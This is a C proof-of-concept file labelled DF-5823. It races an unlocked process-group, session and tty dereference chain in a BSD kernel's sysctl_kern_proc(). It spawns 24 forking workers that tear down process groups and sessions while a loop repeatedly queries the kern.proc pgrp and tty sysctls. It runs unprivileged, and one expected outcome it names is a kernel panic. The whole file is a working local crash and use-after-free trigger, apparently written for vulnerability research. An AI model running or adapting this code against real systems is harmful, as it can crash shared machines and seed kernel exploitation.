DF-5823 / df5823_churn.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | /* * DF-5823 rig: race the unlocked p_pgrp/pg_session/s_ttyp filter derefs in * sysctl_kern_proc() (sys/kern/kern_proc.c:1734-1747) against rapid * session/pgrp teardown. * * Churn side: short-lived grandchildren repeatedly do * setpgid(0,0) -> fresh pgrp with self as last member (on allproc list) * setsid() -> leaves that pgrp as last member => pgrel() frees it * WHILE the proc is still scannable on allproc * plus a controlling-tty variant (posix_openpt + auto-TIOCSCTTY) so the * KERN_PROC_TTY 4-hop chain p_pgrp->pg_session->s_ttyp->t_dev is raced too. * * Scanner side: poll kern.proc.pgrp.<pgid> and kern.proc.tty.<devid> in a * tight loop. Every poll executes the filter chain for every non-SIDL * process with P_CONTROLT set, regardless of whether the ids match. * * Build: cc -O2 -o df5823_churn df5823_churn.c * Run (unprivileged): ./df5823_churn 180 * Expected (if the race produces a bad hop): kernel panic / fatal trap. * Expected (benign-zone-read outcome): run completes, no panic - race is * still real (see VERDICT.md), impact limited to stale/garbage reads. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <errno.h> #include <time.h> #define NWORKER 24 static volatile sig_atomic_t stop; static void onalrm(int sig __unused) { stop = 1; } /* * Grandchild: one churn unit. * - setpgid(0,0): new pgrp G, self only member, still on allproc list * - setsid(): leave G as last member -> G pgrel-freed while scannable * - ctty variant: acquire controlling tty (P_CONTROLT + s_ttyp), then * fork a grandchild that repeats the pgrp destroy dance * inside the ctty session (races the full tty chain). */ static void grandchild(int do_ctty) { pid_t p2; int i, mfd, sfd; char *pts; if (setpgid(0, 0) == -1) _exit(1); if (setsid() == -1) _exit(1); if (do_ctty) { mfd = posix_openpt(O_RDWR | O_NOCTTY); if (mfd >= 0 && grantpt(mfd) == 0 && unlockpt(mfd) == 0 && (pts = ptsname(mfd)) != NULL) { sfd = open(pts, O_RDWR); /* auto-TIOCSCTTY */ if (sfd >= 0) { for (i = 0; i < 4; ++i) { p2 = fork(); if (p2 == 0) { /* in ctty session, has * inherited P_CONTROLT */ setpgid(0, 0); setsid(); /* hot race */ _exit(0); } if (p2 > 0) waitpid(p2, NULL, 0); } close(sfd); } } if (mfd >= 0) close(mfd); } _exit(0); } static void worker(int do_ctty) { pid_t pid; for (;;) { pid = fork(); if (pid == 0) grandchild(do_ctty); if (pid > 0) waitpid(pid, NULL, 0); } _exit(0); } int main(int argc, char **argv) { int i; unsigned long scans = 0, tsecs = 120; struct timespec ts0, ts1; if (argc > 1) tsecs = (unsigned long)atol(argv[1]); for (i = 0; i < NWORKER; ++i) { pid_t pid = fork(); if (pid == 0) worker(i & 1); /* half plain, half ctty churn */ } signal(SIGALRM, onalrm); alarm((unsigned)tsecs); clock_gettime(CLOCK_MONOTONIC, &ts0); while (!stop) { static char buf[128 * 1024]; size_t len = sizeof(buf); int mib[4]; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PGRP; mib[3] = 1; /* init's pgid */ sysctl(mib, 4, buf, &len, NULL, 0); len = sizeof(buf); mib[2] = KERN_PROC_TTY; mib[3] = 0; /* filter chain runs regardless of dev */ sysctl(mib, 4, buf, &len, NULL, 0); ++scans; } clock_gettime(CLOCK_MONOTONIC, &ts1); fprintf(stderr, "scanner iterations: %lu (%.1f/s)\n", scans, (double)scans / ((ts1.tv_sec - ts0.tv_sec) + 1e-9 * (ts1.tv_nsec - ts0.tv_nsec))); kill(0, SIGKILL); /* reap the whole churn tree */ return (0); } |